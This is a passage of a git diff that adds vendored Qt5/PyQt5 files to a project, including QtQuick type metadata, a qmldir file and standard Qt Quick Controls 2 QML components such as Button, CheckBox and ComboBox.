type: "double"; isReadonly: true } + Property { name: "isLast"; revision: 15; type: "bool"; isReadonly: true } + } + Component { + file: "private/qquicktextmetrics_p.h" + name: "QQuickTextMetrics" + prototype: "QObject" + exports: ["QtQuick/TextMetrics 2.4"] + exportMetaObjectRevisions: [4] + Property { name: "font"; type: "QFont" } + Property { name: "text"; type: "string" } + Property { name: "advanceWidth"; type: "double"; isReadonly: true } + Property { name: "boundingRect"; type: "QRectF"; isReadonly: true } + Property { name: "width"; type: "double"; isReadonly: true } + Property { name: "height"; type: "double"; isReadonly: true } + Property { name: "tightBoundingRect"; type: "QRectF"; isReadonly: true } + Property { name: "elidedText"; type: "string"; isReadonly: true } + Property { name: "elide"; type: "Qt::TextElideMode" } + Property { name: "elideWidth"; type: "double" } + Signal { name: "metricsChanged" } + } + Component { + file: "private/qquickmultipointtoucharea_p.h" + name: "QQuickTouchPoint" + prototype: "QObject" + exports: ["QtQuick/TouchPoint 2.0", "QtQuick/TouchPoint 2.9"] + exportMetaObjectRevisions: [0, 9] + Property { name: "pointId"; type: "int"; isReadonly: true } + Property { name: "uniqueId"; revision: 9; type: "QPointingDeviceUniqueId"; isReadonly: true } + Property { name: "pressed"; type: "bool"; isReadonly: true } + Property { name: "x"; type: "double"; isReadonly: true } + Property { name: "y"; type: "double"; isReadonly: true } + Property { name: "ellipseDiameters"; revision: 9; type: "QSizeF"; isReadonly: true } + Property { name: "pressure"; type: "double"; isReadonly: true } + Property { name: "rotation"; revision: 9; type: "double"; isReadonly: true } + Property { name: "velocity"; type: "QVector2D"; isReadonly: true } + Property { name: "area"; type: "QRectF"; isReadonly: true } + Property { name: "startX"; type: "double"; isReadonly: true } + Property { name: "startY"; type: "double"; isReadonly: true } + Property { name: "previousX"; type: "double"; isReadonly: true } + Property { name: "previousY"; type: "double"; isReadonly: true } + Property { name: "sceneX"; type: "double"; isReadonly: true } + Property { name: "sceneY"; type: "double"; isReadonly: true } + Signal { name: "uniqueIdChanged"; revision: 9 } + Signal { name: "ellipseDiametersChanged"; revision: 9 } + Signal { name: "rotationChanged"; revision: 9 } + } + Component { + file: "qquickitem.h" + name: "QQuickTransform" + prototype: "QObject" + Method { name: "update" } + } + Component { + file: "private/qquicktransition_p.h" + name: "QQuickTransition" + defaultProperty: "animations" + prototype: "QObject" + exports: ["QtQuick/Transition 2.0"] + exportMetaObjectRevisions: [0] + Property { name: "from"; type: "string" } + Property { name: "to"; type: "string" } + Property { name: "reversible"; type: "bool" } + Property { name: "running"; type: "bool"; isReadonly: true } + Property { name: "animations"; type: "QQuickAbstractAnimation"; isList: true; isReadonly: true } + Property { name: "enabled"; type: "bool" } + } + Component { + file: "private/qquicktranslate_p.h" + name: "QQuickTranslate" + prototype: "QQuickTransform" + exports: ["QtQuick/Translate 2.0"] + exportMetaObjectRevisions: [0] + Property { name: "x"; type: "double" } + Property { name: "y"; type: "double" } + } + Component { + file: "private/qquickanimator_p.h" + name: "QQuickUniformAnimator" + prototype: "QQuickAnimator" + exports: [ + "QtQuick/UniformAnimator 2.12", + "QtQuick/UniformAnimator 2.2" + ] + exportMetaObjectRevisions: [12, 2] + Property { name: "uniform"; type: "string" } + Signal { + name: "uniformChanged" + Parameter { type: "string" } + } + } + Component { + file: "private/qquickanimation_p.h" + name: "QQuickVector3dAnimation" + prototype: "QQuickPropertyAnimation" + exports: [ + "QtQuick/Vector3dAnimation 2.0", + "QtQuick/Vector3dAnimation 2.12" + ] + exportMetaObjectRevisions: [0, 12] + Property { name: "from"; type: "QVector3D" } + Property { name: "to"; type: "QVector3D" } + } + Component { + file: "private/qquicklistview_p.h" + name: "QQuickViewSection" + prototype: "QObject" + exports: ["QtQuick/ViewSection 2.0"] + exportMetaObjectRevisions: [0] + Enum { + name: "SectionCriteria" + values: ["FullString", "FirstCharacter"] + } + Enum { + name: "LabelPositioning" + values: ["InlineLabels", "CurrentLabelAtStart", "NextLabelAtEnd"] + } + Property { name: "property"; type: "string" } + Property { name: "criteria"; type: "SectionCriteria" } + Property { name: "delegate"; type: "QQmlComponent"; isPointer: true } + Property { name: "labelPositioning"; type: "int" } + Signal { name: "sectionsChanged" } + } + Component { + file: "private/qquickitemviewtransition_p.h" + name: "QQuickViewTransitionAttached" + prototype: "QObject" + exports: ["QtQuick/ViewTransition 2.0"] + isCreatable: false + exportMetaObjectRevisions: [0] + attachedType: "QQuickViewTransitionAttached" + Property { name: "index"; type: "int"; isReadonly: true } + Property { name: "item"; type: "QQuickItem"; isReadonly: true; isPointer: true } + Property { name: "destination"; type: "QPointF"; isReadonly: true } + Property { name: "targetIndexes"; type: "QList"; isReadonly: true } + Property { name: "targetItems"; type: "QObject"; isList: true; isReadonly: true } + } + Component { + file: "private/qquickevents_p_p.h" + name: "QQuickWheelEvent" + prototype: "QObject" + Property { name: "x"; type: "double"; isReadonly: true } + Property { name: "y"; type: "double"; isReadonly: true } + Property { name: "angleDelta"; type: "QPoint"; isReadonly: true } + Property { name: "pixelDelta"; type: "QPoint"; isReadonly: true } + Property { name: "buttons"; type: "int"; isReadonly: true } + Property { name: "modifiers"; type: "int"; isReadonly: true } + Property { name: "inverted"; type: "bool"; isReadonly: true } + Property { name: "accepted"; type: "bool" } + } + Component { + file: "private/qquickwheelhandler_p.h" + name: "QQuickWheelHandler" + prototype: "QQuickSinglePointHandler" + exports: ["QtQuick/WheelHandler 2.14", "QtQuick/WheelHandler 2.15"] + exportMetaObjectRevisions: [14, 15] + Property { name: "orientation"; type: "Qt::Orientation" } + Property { name: "invertible"; type: "bool" } + Property { name: "activeTimeout"; type: "double" } + Property { name: "rotation"; type: "double" } + Property { name: "rotationScale"; type: "double" } + Property { name: "property"; type: "string" } + Property { name: "targetScaleMultiplier"; type: "double" } + Property { name: "targetTransformAroundCursor"; type: "bool" } + Signal { + name: "wheel" + Parameter { name: "event"; type: "QQuickPointerScrollEvent"; isPointer: true } + } + } + Component { + file: "private/qquickanimator_p.h" + name: "QQuickXAnimator" + prototype: "QQuickAnimator" + exports: ["QtQuick/XAnimator 2.12", "QtQuick/XAnimator 2.2"] + exportMetaObjectRevisions: [12, 2] + } + Component { + file: "private/qquickanimator_p.h" + name: "QQuickYAnimator" + prototype: "QQuickAnimator" + exports: ["QtQuick/YAnimator 2.12", "QtQuick/YAnimator 2.2"] + exportMetaObjectRevisions: [12, 2] + } + Component { + file: "private/qquickforeignutils_p.h" + name: "QRegExpValidator" + prototype: "QValidator" + exports: ["QtQuick/RegExpValidator 2.0"] + exportMetaObjectRevisions: [0] + Property { name: "regExp"; type: "QRegExp" } + Signal { + name: "regExpChanged" + Parameter { name: "regExp"; type: "QRegExp" } + } + } + Component { + file: "private/qquickforeignutils_p.h" + name: "QRegularExpressionValidator" + prototype: "QValidator" + exports: ["QtQuick/RegularExpressionValidator 2.14"] + exportMetaObjectRevisions: [14] + Property { name: "regularExpression"; type: "QRegularExpression" } + Signal { + name: "regularExpressionChanged" + Parameter { name: "re"; type: "QRegularExpression" } + } + Method { + name: "setRegularExpression" + Parameter { name: "re"; type: "QRegularExpression" } + } + } + Component { + file: "private/qquickforeignutils_p.h" + name: "QValidator" + prototype: "QObject" + Enum { + name: "State" + values: ["Invalid", "Intermediate", "Acceptable"] + } + Signal { name: "changed" } + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick.2/qmldir b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick.2/qmldir new file mode 100644 index 00000000..e4e7f5d0 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick.2/qmldir @@ -0,0 +1,6 @@ +module QtQuick +plugin qtquick2plugin +classname QtQuick2Plugin +typeinfo plugins.qmltypes +depends QtQml 2.15 +designersupported diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick.2/qtquick2plugin.dll b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick.2/qtquick2plugin.dll new file mode 100644 index 00000000..7dfde08d Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick.2/qtquick2plugin.dll differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/AbstractButton.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/AbstractButton.qml new file mode 100644 index 00000000..50ddb933 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/AbstractButton.qml @@ -0,0 +1,47 @@ +/**************************************************************************** +** +** Copyright (C) 2017 The Qt Company Ltd. +** Contact: http://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls 2 module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL3$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see http://www.qt.io/terms-conditions. For further +** information use the contact form at http://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPLv3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or later as published by the Free +** Software Foundation and appearing in the file LICENSE.GPL included in +** the packaging of this file. Please review the following information to +** ensure the GNU General Public License version 2.0 requirements will be +** met: http://www.gnu.org/licenses/gpl-2.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.12 +import QtQuick.Templates 2.12 as T + +T.AbstractButton { + id: control + + implicitWidth: Math.max(implicitBackgroundWidth + leftInset + rightInset, + implicitContentWidth + leftPadding + rightPadding) + implicitHeight: Math.max(implicitBackgroundHeight + topInset + bottomInset, + implicitContentHeight + topPadding + bottomPadding) +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Action.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Action.qml new file mode 100644 index 00000000..996e9086 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Action.qml @@ -0,0 +1,40 @@ +/**************************************************************************** +** +** Copyright (C) 2017 The Qt Company Ltd. +** Contact: http://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls 2 module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL3$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see http://www.qt.io/terms-conditions. For further +** information use the contact form at http://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPLv3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or later as published by the Free +** Software Foundation and appearing in the file LICENSE.GPL included in +** the packaging of this file. Please review the following information to +** ensure the GNU General Public License version 2.0 requirements will be +** met: http://www.gnu.org/licenses/gpl-2.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.12 +import QtQuick.Templates 2.12 as T + +T.Action { } diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/ActionGroup.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/ActionGroup.qml new file mode 100644 index 00000000..89e72c8f --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/ActionGroup.qml @@ -0,0 +1,40 @@ +/**************************************************************************** +** +** Copyright (C) 2017 The Qt Company Ltd. +** Contact: http://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls 2 module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL3$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see http://www.qt.io/terms-conditions. For further +** information use the contact form at http://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPLv3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or later as published by the Free +** Software Foundation and appearing in the file LICENSE.GPL included in +** the packaging of this file. Please review the following information to +** ensure the GNU General Public License version 2.0 requirements will be +** met: http://www.gnu.org/licenses/gpl-2.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.12 +import QtQuick.Templates 2.12 as T + +T.ActionGroup { } diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/ApplicationWindow.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/ApplicationWindow.qml new file mode 100644 index 00000000..4686a298 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/ApplicationWindow.qml @@ -0,0 +1,55 @@ +/**************************************************************************** +** +** Copyright (C) 2017 The Qt Company Ltd. +** Contact: http://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls 2 module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL3$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see http://www.qt.io/terms-conditions. For further +** information use the contact form at http://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPLv3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or later as published by the Free +** Software Foundation and appearing in the file LICENSE.GPL included in +** the packaging of this file. Please review the following information to +** ensure the GNU General Public License version 2.0 requirements will be +** met: http://www.gnu.org/licenses/gpl-2.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.12 +import QtQuick.Window 2.12 +import QtQuick.Controls 2.12 +import QtQuick.Controls.impl 2.12 +import QtQuick.Templates 2.12 as T + +T.ApplicationWindow { + id: window + + color: palette.window + + overlay.modal: Rectangle { + color: Color.transparent(window.palette.shadow, 0.5) + } + + overlay.modeless: Rectangle { + color: Color.transparent(window.palette.shadow, 0.12) + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/BusyIndicator.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/BusyIndicator.qml new file mode 100644 index 00000000..ff5c191c --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/BusyIndicator.qml @@ -0,0 +1,63 @@ +/**************************************************************************** +** +** Copyright (C) 2017 The Qt Company Ltd. +** Contact: http://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls 2 module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL3$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see http://www.qt.io/terms-conditions. For further +** information use the contact form at http://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPLv3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or later as published by the Free +** Software Foundation and appearing in the file LICENSE.GPL included in +** the packaging of this file. Please review the following information to +** ensure the GNU General Public License version 2.0 requirements will be +** met: http://www.gnu.org/licenses/gpl-2.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.12 +import QtQuick.Controls 2.12 +import QtQuick.Controls.impl 2.12 +import QtQuick.Templates 2.12 as T + +T.BusyIndicator { + id: control + + implicitWidth: Math.max(implicitBackgroundWidth + leftInset + rightInset, + implicitContentWidth + leftPadding + rightPadding) + implicitHeight: Math.max(implicitBackgroundHeight + topInset + bottomInset, + implicitContentHeight + topPadding + bottomPadding) + + padding: 6 + + contentItem: BusyIndicatorImpl { + implicitWidth: 48 + implicitHeight: 48 + + pen: control.palette.dark + fill: control.palette.dark + + running: control.running + opacity: control.running ? 1 : 0 + Behavior on opacity { OpacityAnimator { duration: 250 } } + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Button.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Button.qml new file mode 100644 index 00000000..a9e7fce6 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Button.qml @@ -0,0 +1,80 @@ +/**************************************************************************** +** +** Copyright (C) 2017 The Qt Company Ltd. +** Contact: http://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls 2 module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL3$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see http://www.qt.io/terms-conditions. For further +** information use the contact form at http://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPLv3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or later as published by the Free +** Software Foundation and appearing in the file LICENSE.GPL included in +** the packaging of this file. Please review the following information to +** ensure the GNU General Public License version 2.0 requirements will be +** met: http://www.gnu.org/licenses/gpl-2.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.12 +import QtQuick.Controls 2.12 +import QtQuick.Controls.impl 2.12 +import QtQuick.Templates 2.12 as T + +T.Button { + id: control + + implicitWidth: Math.max(implicitBackgroundWidth + leftInset + rightInset, + implicitContentWidth + leftPadding + rightPadding) + implicitHeight: Math.max(implicitBackgroundHeight + topInset + bottomInset, + implicitContentHeight + topPadding + bottomPadding) + + padding: 6 + horizontalPadding: padding + 2 + spacing: 6 + + icon.width: 24 + icon.height: 24 + icon.color: control.checked || control.highlighted ? control.palette.brightText : + control.flat && !control.down ? (control.visualFocus ? control.palette.highlight : control.palette.windowText) : control.palette.buttonText + + contentItem: IconLabel { + spacing: control.spacing + mirrored: control.mirrored + display: control.display + + icon: control.icon + text: control.text + font: control.font + color: control.checked || control.highlighted ? control.palette.brightText : + control.flat && !control.down ? (control.visualFocus ? control.palette.highlight : control.palette.windowText) : control.palette.buttonText + } + + background: Rectangle { + implicitWidth: 100 + implicitHeight: 40 + visible: !control.flat || control.down || control.checked || control.highlighted + color: Color.blend(control.checked || control.highlighted ? control.palette.dark : control.palette.button, + control.palette.mid, control.down ? 0.5 : 0.0) + border.color: control.palette.highlight + border.width: control.visualFocus ? 2 : 0 + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/ButtonGroup.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/ButtonGroup.qml new file mode 100644 index 00000000..cf0355ba --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/ButtonGroup.qml @@ -0,0 +1,40 @@ +/**************************************************************************** +** +** Copyright (C) 2017 The Qt Company Ltd. +** Contact: http://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls 2 module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL3$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see http://www.qt.io/terms-conditions. For further +** information use the contact form at http://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPLv3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or later as published by the Free +** Software Foundation and appearing in the file LICENSE.GPL included in +** the packaging of this file. Please review the following information to +** ensure the GNU General Public License version 2.0 requirements will be +** met: http://www.gnu.org/licenses/gpl-2.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.12 +import QtQuick.Templates 2.12 as T + +T.ButtonGroup { } diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/CheckBox.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/CheckBox.qml new file mode 100644 index 00000000..b1f50ed1 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/CheckBox.qml @@ -0,0 +1,93 @@ +/**************************************************************************** +** +** Copyright (C) 2017 The Qt Company Ltd. +** Contact: http://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls 2 module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL3$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see http://www.qt.io/terms-conditions. For further +** information use the contact form at http://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPLv3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or later as published by the Free +** Software Foundation and appearing in the file LICENSE.GPL included in +** the packaging of this file. Please review the following information to +** ensure the GNU General Public License version 2.0 requirements will be +** met: http://www.gnu.org/licenses/gpl-2.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.12 +import QtQuick.Templates 2.12 as T +import QtQuick.Controls 2.12 +import QtQuick.Controls.impl 2.12 + +T.CheckBox { + id: control + + implicitWidth: Math.max(implicitBackgroundWidth + leftInset + rightInset, + implicitContentWidth + leftPadding + rightPadding) + implicitHeight: Math.max(implicitBackgroundHeight + topInset + bottomInset, + implicitContentHeight + topPadding + bottomPadding, + implicitIndicatorHeight + topPadding + bottomPadding) + + padding: 6 + spacing: 6 + + // keep in sync with CheckDelegate.qml (shared CheckIndicator.qml was removed for performance reasons) + indicator: Rectangle { + implicitWidth: 28 + implicitHeight: 28 + + x: control.text ? (control.mirrored ? control.width - width - control.rightPadding : control.leftPadding) : control.leftPadding + (control.availableWidth - width) / 2 + y: control.topPadding + (control.availableHeight - height) / 2 + + color: control.down ? control.palette.light : control.palette.base + border.width: control.visualFocus ? 2 : 1 + border.color: control.visualFocus ? control.palette.highlight : control.palette.mid + + ColorImage { + x: (parent.width - width) / 2 + y: (parent.height - height) / 2 + defaultColor: "#353637" + color: control.palette.text + source: "qrc:/qt-project.org/imports/QtQuick/Controls.2/images/check.png" + visible: control.checkState === Qt.Checked + } + + Rectangle { + x: (parent.width - width) / 2 + y: (parent.height - height) / 2 + width: 16 + height: 3 + color: control.palette.text + visible: control.checkState === Qt.PartiallyChecked + } + } + + contentItem: CheckLabel { + leftPadding: control.indicator && !control.mirrored ? control.indicator.width + control.spacing : 0 + rightPadding: control.indicator && control.mirrored ? control.indicator.width + control.spacing : 0 + + text: control.text + font: control.font + color: control.palette.windowText + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/CheckDelegate.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/CheckDelegate.qml new file mode 100644 index 00000000..71b390ac --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/CheckDelegate.qml @@ -0,0 +1,110 @@ +/**************************************************************************** +** +** Copyright (C) 2017 The Qt Company Ltd. +** Contact: http://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls 2 module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL3$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see http://www.qt.io/terms-conditions. For further +** information use the contact form at http://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPLv3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or later as published by the Free +** Software Foundation and appearing in the file LICENSE.GPL included in +** the packaging of this file. Please review the following information to +** ensure the GNU General Public License version 2.0 requirements will be +** met: http://www.gnu.org/licenses/gpl-2.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.12 +import QtQuick.Templates 2.12 as T +import QtQuick.Controls 2.12 +import QtQuick.Controls.impl 2.12 + +T.CheckDelegate { + id: control + + implicitWidth: Math.max(implicitBackgroundWidth + leftInset + rightInset, + implicitContentWidth + leftPadding + rightPadding) + implicitHeight: Math.max(implicitBackgroundHeight + topInset + bottomInset, + implicitContentHeight + topPadding + bottomPadding, + implicitIndicatorHeight + topPadding + bottomPadding) + + padding: 12 + spacing: 12 + + icon.width: 24 + icon.height: 24 + icon.color: control.palette.text + + contentItem: IconLabel { + leftPadding: control.mirrored ? control.indicator.width + control.spacing : 0 + rightPadding: !control.mirrored ? control.indicator.width + control.spacing : 0 + + spacing: control.spacing + mirrored: control.mirrored + display: control.display + alignment: control.display === IconLabel.IconOnly || control.display === IconLabel.TextUnderIcon ? Qt.AlignCenter : Qt.AlignLeft + + icon: control.icon + text: control.text + font: control.font + color: control.palette.text + } + + // keep in sync with CheckBox.qml (shared CheckIndicator.qml was removed for performance reasons) + indicator: Rectangle { + implicitWidth: 28 + implicitHeight: 28 + + x: control.mirrored ? control.leftPadding : control.width - width - control.rightPadding + y: control.topPadding + (control.availableHeight - height) / 2 + + color: control.down ? control.palette.light : control.palette.base + border.width: control.visualFocus ? 2 : 1 + border.color: control.visualFocus ? control.palette.highlight : control.palette.mid + + ColorImage { + x: (parent.width - width) / 2 + y: (parent.height - height) / 2 + defaultColor: "#353637" + color: control.palette.text + source: "qrc:/qt-project.org/imports/QtQuick/Controls.2/images/check.png" + visible: control.checkState === Qt.Checked + } + + Rectangle { + x: (parent.width - width) / 2 + y: (parent.height - height) / 2 + width: 16 + height: 3 + color: control.palette.text + visible: control.checkState === Qt.PartiallyChecked + } + } + + background: Rectangle { + implicitWidth: 100 + implicitHeight: 40 + visible: control.down || control.highlighted + color: control.down ? control.palette.midlight : control.palette.light + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/ComboBox.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/ComboBox.qml new file mode 100644 index 00000000..e9f93d66 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/ComboBox.qml @@ -0,0 +1,142 @@ +/**************************************************************************** +** +** Copyright (C) 2017 The Qt Company Ltd. +** Contact: http://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls 2 module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL3$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see http://www.qt.io/terms-conditions. For further +** information use the contact form at http://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU 